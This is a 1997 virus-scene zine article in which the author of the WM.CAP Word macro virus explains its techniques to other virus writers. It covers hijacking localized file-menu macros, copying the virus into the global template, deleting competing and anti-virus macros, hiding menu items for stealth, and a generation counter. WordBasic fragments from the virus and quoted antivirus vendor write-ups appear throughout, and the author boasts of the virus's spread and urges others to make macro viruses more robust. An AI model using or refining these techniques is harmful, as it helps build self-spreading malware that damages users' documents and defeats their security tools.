If at this point u're wonderin why we created a new "empty" document from the template, then u probably need some background info in Word macroz and templatez. The new created document is NOT "empty" as it was created from a template which was not empty. Remember that this template is really our infected document and as a result our new created document will contain the same text stuff as the template. Remember also the definition of what a "template" is and why we use them.

3. The "MultiLanguage suport" problem ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is a dificult topic and several diferent aproachez have been tried and implemented by different VXers in order to overcome it. However as to this writin, i still havent seen a single *reliable* multilanguage macro virus. The Wazzu virus consisted of a single automacro: AutoOpen. This makes it language-independent indeed but it still has the "SaveAs" problem, big deal. The "MultiLanguage suport" problem has to do with the fact that MS Word is available in diferent languagez and flavorz for diferent platformz. Whenever we give a macro the name of a menu item, Word will actually execute the code contained in such macro whenever the user clicks or presses the menu item asociated with it. However if the user executes the same action (clicks the same menu item) under another Word language, the asociated macro won't be executed at all becoz it doesnt match the menu item name as it was written in another language, u see? For example supose in english Word we program the "FileOpen" macro to do whatever action. Whenever we click the "File/Open" item, our macro will be executed. However supose we copy (unchanged) the same macro to another Word language, say spanish. Under this Word language the asociated file menu item changes now to "Archivo/Abrir". If we click this menu item, our old "FileOpen" macro won't be executed at all. However if we rename the macro to "ArchivoAbrir", this time it will execute just fine. This is what is known as the "MultiLanguage suport" problem.

3.1. The "MultiLanguage suport" solution (without AutoMacroz) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The best aproach to obtain multilanguage suport without losin control over the enviroment is interceptin the file menu related macroz, at least the "FileSaveAs" macro so we can fix the "SaveAs" problem. The best solution i came up with after thinkin a bit among the diferent alternativez was to intercept the file macroz directly acordin to the especific Word language instaled. This is not a dificult task, however what proves to be somewhat complicated is guessin out the correct macro name for the respective file menu item. If this step is done incorrectly, some file menuz will end up doin diferent actionz other than expected. For instance, the "FileSave" macro could end up callin "FileClose", thus closin the document instead of saving it or viceversa. In order to get the macro namez for the actual Word language instaled, we must use the "MenuItemMacro$" function. This function gives us the macro name for a given menu item inside a menu, asumin we know of course which menu this menu item refers or belongs to and knowin the menu item name or the menu item position inside this menu itself. Heh are u drowsy? =8-S. This is precisely the reason why this method is still not 100% reliable. We must asume fixed menu item positionz for the menu itemz we wanna hook. In any Word language from any standard Word instalation we have the followin scenario (equivalent spanish macroz are also shown):

English ÄÄÄÄÄÄÄ FileOpen FileClose FileSave FileSaveAs

Spanish ÄÄÄÄÄÄÄ ArchivoAbrir ArchivoCerrar ArchivoGuardar ArchivoGuardarComo

Menu ÄÄÄÄ 1 (File) 1 (File) 1 (File) 1 (File)

Menu item position ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 2 3 5 6

This is precisely the method implemented in the WM.CAP virus in order to work in any Word language. It created aditional macro namez with same body but diferent name -acordin to the actual Word language instaled- for a given macro function. The fact that the macro code remains the same in any Word language is not a problem. The macro interpreter inside Word is "universal", meanin that it will execute correctly the WordBasic or VBA instructionz inside the macroz without carin about the actual Word language instaled. It needs however to refer to valid existin macro namez or labelz. As macro namez change for a given especific Word language, we must be very careful NOT to include any reference to a language-dependent macro name inside any of our file related macroz. This is the reason why such file related macroz inside WM.CAP are just short stubz ("wraperz") that jump to other subroutinez inside the CAP macro itself. Before showin an example to the "MultiLanguage suport" method, i must warn once again that this method is not 100% reliable. It all depends on how much the user has customized his Word menuz and other setingz. It should however work just perfect on those Wordz havin the factory standard setingz which gracely share all Word instalationz by default. Again in some especific user-customized Word instalationz, the latter method can easily mess up some of the file related macroz, resultin in unexpected behavior and weird funny actionz. Here follows the "MultiLanguage suport" example.

3.2. The "MultiLanguage suport" example ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Dim Shared MacroName$(N)

' Array of stringz to hold the macro namez

Sub MAIN [...] MacroName$(2) MacroName$(3) MacroName$(5) MacroName$(6)

' Main subroutine = = = =

"FileOpen" "FileClose" "FileSave" "FileSaveAs"

FileMenu$ = MenuText$(0, 1)

' ' ' '

"FileOpen" "FileClose" "FileSave" "FileSaveAs"

at at at at

position position position position

2 3 5 6

in in in in

file file file file

menu menu menu menu

' Get name for file menu ("&File")

For MacroNumber = CountMacros(1) To 1 Step - 1 Position = 0 NameOfMacro$ = MacroName$(MacroNumber, 1) Select Case MacroDesc$(NameOfMacro$)

' Process each macro ' No position by now ' Get macro name ' Get description of ' macro name Description = "FileOpen" ? then position in file menu = 2 Description = "FileClose" ? then position in file menu = 3 Description = "FileSave" ? then position in file menu = 5 Description = "FileSaveAs" ? then position in file menu = 6

Case "FileOpen" Position = 2 Case "FileClose" Position = 3 Case "FileSave" Position = 5 Case "FileSaveAs" Position = 6 End Select

' ' ' ' ' ' ' '

If Position Then

' If position in file menu was found then..

LocalMacro$ = MenuItemMacro$(FileMenu$, 0, Position)

' Get localized ' macro name If Left$(UCase$(LocalMacro$), Len(MacroName$(Position))) <> UCase$(MacroName$(Position)) ' If local macro name is And ' diferent from english name Left$(LocalMacro$, 1) ' and local macro name is NOT <> "(" ' a separator "(.." then Then MacroCopy F$ + ":" + NameOfMacro$, LocalMacro$, -1 End If End If Next

' Copy macro to ' localized ' macro name

' Process next macro

The objective in the previous example shows for itself. We're tryin to get the file related macro namez for any localized version of Word other than english. If these file related macroz are located in the exact position where we expect them to be in the file menu (very likely), then the above example will do its work. Probably at this point u're wonderin what has the macro description field to do in all this mess. Heh, well, the field proves to be very useful for some purposez other than simply describin what the macro does. The macro description field can be used to hold generation countz and self-recognition paternz, among other thingz. In the above example however, the description field mite not be necesary at all. Its purpose is simply to identify a given file related macro in order to assign a position for it in the file menu. But u could argue this can be done as well simply comparin the macro name retrieved from the "MacroName$" function with the required english macro name. Yes, u could, and it would work, as long as these english file related macroz keep stayin in the infected document. But u see, macro corruption, deletion and snatchin of macros are common nowadayz between macro virii due to the increasin number of existin samples of themselves. Becoz of this, the use of the macro description field (whenever posible) to recognize english or equivalent localized macro namez, makes the virus much more robust to macro corruptionz or undesired macro deletionz.

4. Final note ÄÄÄÄÄÄÄÄÄÄÄÄÄ This article was written one or two months after Microsoft released its long expected Office'97, containin Word'97. Becoz of this and becoz i lost my interest in macro virii stuff since that time on, i dunno if these macro trickz will also work under Word'97, i guess not. However, if other VXerz are interested in these topicz and want to add more robustness to their macro virii under Word'97, they should consider the problemz described above. I hope this article could be useful for that purpose. Thats all, folkz.

5. Disclaimer ÄÄÄÄÄÄÄÄÄÄÄÄÄ This information is for educational purposez only. The author is not responsible for any problemz caused by the use of this information.

(c) 1997. Jacky Qwerty / 29A.

WM.CAP virus description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Jacky Qwerty/29A This article gives a full description of the WordMacro CAP virus. It can be seen as a "real" example for the different techniqz described in the past article named "Macro virus trickz". Check out as well the virus source code, also published in this isue.

Index ÄÄÄÄÄ 1. Introduction 1.1 Macro virus hype 2. WM.CAP: a complex word macro virus? 3. In the Newz 3.1. Dr.Solomon speaks 3.2. Sophos speaks 3.3. McAfee speaks 3.4. F-Potatoe speaks 3.5. Norton speaks 3.6. AVP speaks 3.7. Quarterdeck speaks 4. Functional Description 4.1. Removal of macroz 4.1.1. Concept vs. Wazzu 4.1.2. CAP vs. Concept 4.2. Global template infection 4.2.1. Searchin for localized macroz 4.2.2. Incremental generation count 4.2.3. Removal of menu itemz - stealth 4.3. Document, template and RTF infection 4.4. Disablin of AutoMacroz 4.5. The "SaveAs" problem solved 5. Shortcutz 6. Disclaimer

1. Introduction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Factz prove for themselvez. Macro virii have become one of the most comon type of computer virus. While the latter sounds like a press release, we cant deny that unfortunately it is becomin true. "Unfortunately" becoz as u will see later, macro virii unlike other type of computer virii, are not really very dificult to write, in fact much of them have been coded in a very simple way, followin a straightforward programin aproach. While there could be some few exceptionz to the rule, macro virii in general dont prove to deserve that kind of atention that other more interestin type of computer virii mite do, regardin other innovative infection techniqz, new wayz of residency, improved methodz for trapin file activity and the complexity of the virus code itself. Featurez which are very dependent to a great extent on the skillz of the VXer himself.

1.1. Macro virus hype ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ But leavin aside that atonishin publicity surroundin macro virii and now followin a much more objetive aproach: what lies behind the creation of a macro virus? is it really hard to write such virusez? why so much hype bout Concept? well, not really. Much of that fuzz was nonsense, another press release biten and exagerated by the obfuscating media. I rememeber at the time Concept was big newz, AVerz started to say repeatedly again and again

that such macro virii were fairly easy to write and that they could be more infectious and comon than any other virus type. Yea AVerz, strangely tho, said the mean and lean truth. So now they come, shoot our mindz and then wash their handz pretendin they have nothin to do with the macro virus hype. After all, we are the "kidz" so we are the guilty onez, we are the bad guyz and they are of course the heroez of the movie. Same old story.

2. WM.CAP: a complex macro virus? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ CAP was a macro virus i wrote durin a bored December weekend after endin classes for the quarter and startin my xmas vacationz. It was also my first and last macro virus until i lost all of my interest in this stuff and focused my atention on other much more interestin virus related topicz :) It began as a curiosity of mine when tryin to understand for myself how these virusez worked and how much they could spread for themselvez. The CAP virus made its way into the wild the same way most other virusez do. It was writen in a simple 386 machine runin Windoze 3.1, it was tested in both english and spanish versionz of Word 6, and was finaly released and spread as with any other macro virus. Yea, it has some pretty kewl featurez but they are far from bein extraordinary or complex as some AVerz put it, especialy an AVer named Miko Hypp”nen from Datafellowz (F-Potatoe), a very nice dude, author of F-Potatoe buletinz, who btw behaved very kind in his last isue when he encouraged people to send their "opinion on virus writin" to my Hotmail mailbox. I wont forget that one, Miko, very nice from u, pal. However it was also the first time i thanked the phuckin mother who hacked my Hotmail acount, hrmph @&%#..

3. In the newz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Shortly after CAP was released, there apeared a seriez of increasin reportz posted on several newsgroupz, especially from alt.comp.virus. Userz were suspectin about a new macro virus removin the Toolz/Macro and Toolz/Customize menu itemz from their Word enviroment. A couple of monthz later, CAP was bein reported at diferent regionz worldwide. Was CAP just another lucky virus or there was somethin more behind? Well, just keep readin if u want to know the mean and lean truth. #8) But before this lets listen to what AVerz have to say about CAP, that mite help us understand some more about CAP's functionin, mmm.. well, just a bit coz u know how some AVerz are, regardin their virus descriptionz. They feed on hype describin how good their AV programz detect virusez, instead of describin how the virusez really work and how some of them are able to defeat and nulify their stuff. Most of the AV programz agree they can safely remove all (removable) virusez they detect. Factz prove this is not true. None of the macro AV programz, except perhaps new versions of F-MacroW, have been able to remove properly all of the CAP spontaneously generated variantz. And as u'll see later in this article, this behavior could have been made much more complex on purpose.

3.1. Dr.Solomon speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) Dr.Solomon - http://www.drsolomon.com/vircen/valerts/wmcap.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 WM/CAP This macro virus appeared first in February 1997 and has quickly become widespread. The basic virus consists of one large macro called CAP (hence the name) which is called from the virus' other

macros - AutoExec, AutoOpen, FileSave, FileSaveAs, FileTemplates, ToolsMacro, FileClose, FileOpen and AutoClose. When the virus replicates, the first thing it does is to copy the basic set of 10 macros. The virus then browses the WinWord menu items, collects their names, (they could be different in different language versions, or customized versions of WinWord), and intercepts up to 5 of these additional macros - placing a pointer to the main CAP macro inside them. If there are any system macros defined in a global template before the infection - they are deleted. The virus also removes the menu items Tools/Macro and Tools/Customize. The File/Templates menu item is present after infection but it does not work. In essence, then, the virus consists of 10 basic English macros and up to 5 additional macros taken from the menus if they are not standard for the English language version of WinWord. The virus uses information from the macro description field, (at the bottom of Tools/Macro box), for self recognition of its core macros. These have "F%" at the beginning of a description (FileOpen has F%O, FileClose - F%C, FileSave - F%S and FileSaveAs - F%SA). The virus has no damaging payload except that it removes system macros defined in the global template. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.2. Sophos speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) Sophos - http://www.sophos.com/virusinfo/analyses/winwordcap.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Virus analyses Winword/CAP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Virus Name:Winword/CAP. Aliases: None known. Type: MS Word document infector. Resident: Yes, within Word environment. Stealth: Yes. Empty macros are used to prevent Word showing menu items. For example, the ToolsMacro (or ExtrasMakro under German Word) is empty, which prevents the use of the ToolsMacro to see whether or not there are macros present. The virus also removes the menu item itself so that it does not even appear in the list of available choices. Trigger: None. Payload: None. Comments: The Winword/CAP virus installs the following macros: FileTemplates, ToolsMacro, FileSaveAs, FileClose, AutoClose, FileSave, FileOpen, AutoOpen, AutoExec and CAP. In addition, the virus will find the current local language version of the macros and will install these as well as the English ones. For example, if the virus infects a German version of Word, it will also install macros named DateiOffnen, DateiSpeichern, DateiSpeichernUnter, DateiSchliebenOderAllesSchlieben. With the exception of the CAP macro itself, all the macros are very short stubs which either call subroutines within CAP or do nothing at all. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.3. McAfee speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) McAfee - http://www.mcafee.com/support/techdocs/vinfo/vm007.asp - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 CAP.A Virus Characteristics This virus propagates by infecting Word Documents in Microsoft WORD Versions 6.x / 7.x on Windows and Macintosh platforms. The virus consists of these macros: CAP, AUTOEXEC, AUTOOPEN, AUTOCLOSE, FILETEMPLATES, FILESAVE, FILESAVEAS, TOOLSMACRO, FILEOPEN, FILECLOSE in an infected document. In localized language versions of MS Word some macros are copied to the specific SystemMacro name. The virus becomes active by using Auto- and SystemMacros. All macros are encrypted using the standard Word execute-only feature. Meaning that the user is unable to edit or view the macro code. Indications of Infection Before infection it will delete all existing macros in NORMAL.DOT or other templates. On an infected system the virus hides the FILE|TEMPLATE and TOOLS|MACRO functionality. Warning: It is important not to use this command, as you will execute the viral code. It may also delete these menu entries plus TOOLS|CUSTOMIZE in the global environment. If you are affected by this virus please read 'Add. Information'. Virus Information Discovery Date Mar 1997 Origin Venezuela Length Not Applicable Type General Macro Virus Information Prevalence Common - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 (*) McAfee - WHATSNEW.TXT file from McAfee's SCAN v3.0.2 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 CAP.A The Word Macro virus, CAP.A, is spreading wildly on all corners of the globe, especially in the United States. McAfee's AVERT Team has documented cases of CAP.A found in: Brazil, Germany, Australia, Hong Kong, Argentina, Columbia, England, Sweden, Mexico, Venezuela, and Russia. CAP.A's behavior depends upon the language of Microsoft Word being used, or if the installation of Microsoft Word has been customized, making the cleaning of the virus challenging for many antivirus products. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.4. F-Potatoe speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) F-Potatoe (DataFellows) - http://www.datafellows.fi/v-descs/cap.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 Computer Virus Information Pages NAME: CAP ALIAS: WordMacro/CAP, CUP ORIGIN: Venezuela For more information on macro viruses, see WordMacro/Concept. CAP is a complex Word macro virus. It consists of several encrypted macros: CAP, AutoExec, AutoOpen, FileSave, FileSaveAs, FileTemplates, ToolsMacro, FileClose, FileOpen and AutoClose. The virus contains these texts in comments: 'C.A.P: Un virus social.. y ahora digital.. '"j4cKy Qw3rTy" ([email protected]). 'Venezuela, Maracay, Dic 1996. 'P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa ! When infecting Word, CAP modifies up to five already-existing menus, redirecting them to the virus code. This creates some problems, as the names of the modified entries are different in different Word installations and different language versions of Word. When CAP infects documents, it deletes all existing macros from them. Otherwise CAP does not do anything destructive. However, it does remove the Tools/Macro and Tools/Customize menus and disables File/Templates menu in order to protect itself. WordMacro/CAP.A was reported in the wild in several countries in 1997. It's probably related to the WordMacro/Rapi virus. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.5. Norton speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) Norton AV - http://www.symantec.com/avcenter/data/wm.cap.a.html - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 WM.CAP.A Aliases: Infection Length: Area of Infection: Likelihood: Region Reported: Characteristics: Target Platform: Trigger Date:

WordMacro/CAP.A 10 macros Microsoft Word documents Common Worldwide Wild, macro, Stealth Macro None

Description: WM.CAP.A is a virus that consists of 10 macros. Macro Name

Description

CAP AUTOEXEC AUTOOPEN FILEOPEN FILESAVEAS AUTOCLOSE FILECLOSE FILESSAVEAS TOOLSMACRO FILETEMPLATES

Infection Routine Calls the CAP macro Calls the CAP macro Calls the CAP macro Calls the CAP macro Calls the CAP macro Calls the CAP macro Calls the CAP macro Used for the Stealth Routine Used for the Stealth Routine

All the macros are stored in encrypted form in the infected documents. Also WM.CAP.A has a stealth feature which hides the [macro...] menu item from the [Tools] menu and the [Templates...] menu item from the [File] menu when the NORMAL.DOT (Global template) file is infected. This will prevent the user from checking the list of macros which in contained in the document or template and hides the macros. Once the NORMAL.DOT file is disinfected, the [macro...] menu and [Templates...] menu item are restored. WM.CAP.A has no intentional Trigger or Payload. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.6. AVP speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) AVP - http://www.avp.ch/avpve/macro/word/cap.stm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 This is an encrypted stealth macro virus. It contains ten macros: CAP AutoExec AutoOpen FileOpen FileSave AutoClose FileClose FileSaveAs ToolsMacro FileTemplates

- infection routine - calls the infection routine - - // - - // - - // - - // - - // - - // - hides all macros ("stealth" routine) - - // -

The virus not only disables ToolsMacro and FileTemplates menus, but also deletes the references to them in main menus File and Tools. The virus also disables auto-macros. As a result it is not possible to disinfect this virus by using Word functions - there is no possible to delete virus macros, create new or run existing virus removing macros. The virus emulates "FileSaveAs" while saving infected documents it writes an empty document to disk. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

3.7. Quarterdeck speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ (*) Quarterdeck - http://www.quarterdeck.com/quarc/00011/00011128.htm - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8 WM/Cap.A Summary:

WM/Cap.A infects Microsoft Word for Windows documents and templates. It contains 10 macros: CAP, AutoExec, AutoOpen,

FileOpen, FileSave, AutoClose, FileClose, FileSaveAs, ToolsMacro, FileTemplates -- about 214 lines and 3926 characters of macro code after analysis standardizes the formatting within the virus. Author: Unknown Date of Origin: Prior to January 1996 Prevalence: Prevalent in Belgium, Canada, Czech Republic, Denmark, Finland, Hong Kong, Luxemburg, New Zealand, Norway, Peru, South Africa, Sweden, U.K., U.S.A. and elsewhere as of July, 1997. Variants: At least 18 variants as of June 30, 1997: A, B, C, D, E, F, J, L, N, O, P, Q, R, S, T, U, V, W Macro Functions: CAP:

AutoExec: AutoOpen: FileOpen: FileSave: AutoClose: FileClose: FileSaveAs: ToolsMacro:

FileTemplates:

This macro contains an infection routine which appears to work in all language versions. Includes code to trap any errors and ignore them, to help avoid detection. Modifies user settings for saving documents. Options are set to fast saves, allow automatic saving, save changes in global template without asking, 10 minutes between automatic saves. Removes menu options from Word's menus. The global template (usually Normal.dot) will need to be deleted in order to restore Word's normal menus. Disables AutoOpen, AutoClose, AutoNew, and AutoExit macros, disabling many other macro viruses, as well as any macro-based anti-virus protection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Calls infection routine (CAP). Includes code to trap any errors and ignore them, to help avoid detection. Hides the [Macro...] menu option normally on the [Tools] menu when an infected file is loaded, preventing a user from using this menu option to see the macros of the virus. Hides the [Templates...] menu option normally on the [File] menu when an infected file is loaded, preventing a user from using the [Organizer] option on this menu to see the macros of the virus.

Stealth Mechanisms:

Hides the [Macro...] menu option normally on the [Tools] menu when an infected file is loaded, preventing a user from using this menu option to see the macros of the virus. Hides the [Templates...] menu option normally on the [File] menu when an infected file is loaded, preventing a user from using the [Organizer] option on this menu to see the macros of the virus. High stealth.

Comments:

This sample of WM/Cap.A contains the following comments: (...) These comments are ignored by Word when the macros in WM/Cap.A run, and are not displayed. Comments in macro viruses sometimes suggest date or place of origin,

authorship or purpose of the virus. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

4. Functional description ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ While the description from Dr.Soly is the most accurate from the above, it still doesnt explain some especific detailz. Some descriptionz are, well.. full hype, some are just promotin how excelent their AV program is and some just dunno what they say. However no matter how good or bad any description is, they have somethin in comon: all of them invariably try to hide the true reason why CAP has become so comon. I'll try to remedy that here by writin my own description now.

4.1. Removal of macroz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Whenever an infected document is opened or a clean or infected Word enviroment, the virus first checks its own set of 10 basic macroz from the infected document bein opened. All CAP macroz share a common pattern ("F%") stored in the macro description field. If this pattern is not found, CAP deletes the macro. This process is then repeated for the global template (NORMAL.DOT). This means that all of the foreign macroz stored in the infected document and in the global template previous to infection are removed. This includes any protection AV tool or any other macro virus.

4.1.1. Concept vs Wazzu ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This prior scenario has a strong implication regardin CAP survival. Supose a given company is bein strongly infected by the Concept or any other macro virus. Now supose another macro virus, say Wazzu, enters in the company circulation. Now these two virusez will be fightin each other for survival. There cant be two "AutoOpen" macroz for obvious reasonz as there cant be other macroz repeated twice. The final result could be a new "Concept-Wazzu" variant consistin of snatched macroz from each virus, or simply the same diferent two virusez collidin with each other all the time. But what if the second virus enterin the company is the CAP virus?

4.1.2. Concept vs CAP ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Well, thingz will be a bit diferent this time. The CAP virus will spread for itself to other documentz as with any other macro virus, but it wont spend its time collidin with Concept, instead CAP will just remove each instance of Concept from the infected documentz and replace it with its own copy. If CAP keeps spreadin this way from documentz, it doesnt take much time to figure out the final resultz. In a matter of dayz, CAP will clearly "outnumber" Concept, until it almost disapears from the company. This means that CAP can be considered an eficient antivirus for macro virus, coz the macro cleanin capabilitiez travel and spread inside the virus itself. The slogan here is: "Use CAP as your favourite AV program". At this point i can hear Bontchy mentionin my genealogic tree from top to bottom ($@%#..) X-DD. When CAP finishes the macro checkin, it has a count for the number of genuine CAP macroz from the global template and another same count from the infected document. If the number of CAP macroz in the global template is less or equal than 10 (the number of english basic macroz) then the infection (or re-infection) of the global template takes place.

4.2. Global template infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The infection of the Global template allows the macro virus to be loaded resident inside the Word aplication everytime the latter starts. Before infectin the Global template, CAP uses the comon trick of turnin off the Global template prompt warnin when is about to be saved on disk. Besides this, CAP also turns on FastSavin and AutoSavin, setin the AutoSave interval to 10 minutez. Then the copy of macroz take place. In the particular case of CAP, the virus infects the Global template by first copyin just the basic set of 10 english macroz from the infected document. If CAP would have copied all of the macroz contained in the infected document besides the english onez, the resultz would have been a real nightmare for AV developerz. There would have been a mix of diferent localized language macro namez inside CAP. The very first unedited and unreleased versionz of CAP worked this way but i decided to strip this feature off for technical reasonz that i will explain later. Continuin with the above hypothetical example, supose that a document was infected by CAP in an english version of Word. Now supose this document somehow travels and infects an italian version of Word. Now the virus would contain 15 macroz (10 english onez plus 5 italian onez). If the document now infects a german version of Word, there would be 20 macroz (10 english onez, 5 italian onez and 5 german onez). If the virus keeps spreadin this way thru other diferent localized versionz of Word, the number of macroz could easily reach 50 for a given document havin traveled all over the world and havin infected at least more than 8 diferent localized versionz of Word. Fortunately the only CAP version bein released doesnt work that way. Otherwise it would have been a big kick in the AVerz's assez. #8P

4.2.1. Searchin localized macroz ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ While the latter aproach would have made sense in order to annoy AVerz, technically it would have been useless and worthless in the particular case of the Global template infection. Coz after the virus has copied the basic set of 10 english macroz, the followin step is to search the menu itemz for the current localized file related macroz and copy them to the Global template. After this step, suport for especific localized versionz of Word has been added without the need to copy all of the other localized macroz from the infected document. This conjunction of stepz prove to be more efective than the one discused in the hypothetical example described above. This way the maximum number of macroz in any infected or Global template will never exceed 15. In the past article "Macro virus trickz", point 3.1. (The "MultiLanguage suport" solution) and point 3.2 (The "MultiLanguage suport" example), the search and copy of localized file related macroz from the menu itemz is explained in full detail. This is the same aproach implemented in the CAP virus as the next chunk of code shows:

A$ = MenuText$(0, 1) For I = CountMacros(1) To 1 Step - 1 J = 0 B$ = MacroName$(I, 1) Select Case MacroDesc$(B$) Case S$ + "O" J = 2 Case S$ + "C" J = 3 Case S$ + "S" J = 5 Case S$ + "SA" J = 6 End Select

If J Then C$ = MenuItemMacro$(A$, 0, J) If Left$(UCase$(C$), Len(M$(J))) <> UCase$(M$(J)) And Left$(C$, 1) <> "(" Then MacroCopy F$ + ":" + B$, C$, K End If Next

4.2.2. Incremental generation count ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ One feature that has not been mentioned before is the fact that CAP contains a "generation count". This count, unlike other previous macro virusez implementin generation countz, is stored in one of the viral macroz inside all CAP infected documentz, especificaly in the macro description field of the "ToolsMacro" macro. This generation count can be seen in two diferent wayz. Usin a hex editor to dump the contentz of an infected file and lookin for somethin like "F%n" where "n" is the generation count. Or enablin the "Tools/Macro" menu item from the "Tools" menu. If this menu item gets the focus, the macro description will be showed in the bottom left corner of the aplication window, revealin somethin like "F%5" where "5" in this case, is the generation count. It has been said that all of the CAP macroz are encrypted usin the "Execute Only" feature provided by Word. While this is certainly true for most of the CAP macroz, it is not true for the "ToolsMacro" macro. In other wordz, the "ToolsMacro" macro, which is empty, is never encrypted. U mite say this is clumsy, but it is not. The reason for this, is becoz if any macro is encrypted, its macro description field cannot be modified. This wouldnt allow us to increment the generation count stored in the "ToolsMacro" macro description field. But how do we increment this generation count? the followin piece of code answers the question:

C$ = "F%" + LTrim$(Str$(Val(Mid$(MacroDesc$("ToolsMacro"), 3)) + 1)) ToolsMacro .Name = "ToolsMacro", .Show = 1, .Description = C$, .SetDesc

The first line simply gets the "ToolsMacro" description field usin the "MacroDesc$" function, then discards the first two characterz ("F%") usin the "Mid$" function, then converts the remainder string to an integer usin the "Val" function, then increments the result by simply addin "1", then converts it back to a string usin the "Str$" function and finally concatenates it with "F%" to obtain the final string containin the next incremented generation count embeded with it. The second line in the above piece of code simply sets the new description for the "ToolsMacro" macro, containin the new incremented generation count. The generation count is incremented after the basic set of 10 english macroz have been copied to the Global template, as a result such count is incremented only once for each Word aplication infected with CAP. All newly created documentz, saved, closed or opened, will contain the same generation count at the time the Global template was infected.

4.2.3. Removal of Tool itemz - stealth ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Perhapz one of the most known featurez of CAP is its ability to remove some key menu itemz from the "Toolz" menu. This has been a clue for AVerz. Whenever a Word user posted a mesage sayin his Toolz/Macro and Toolz/Customize menu itemz disapeared, there also apeared some AVer sayin: "You have the CAP virus". This feature has also proved to be very anoyin and frustratin among AVerz, as it complicates to some extent the complete and correct disinfection of the Global "NORMAL.DOT" template, becoz userz of course, want

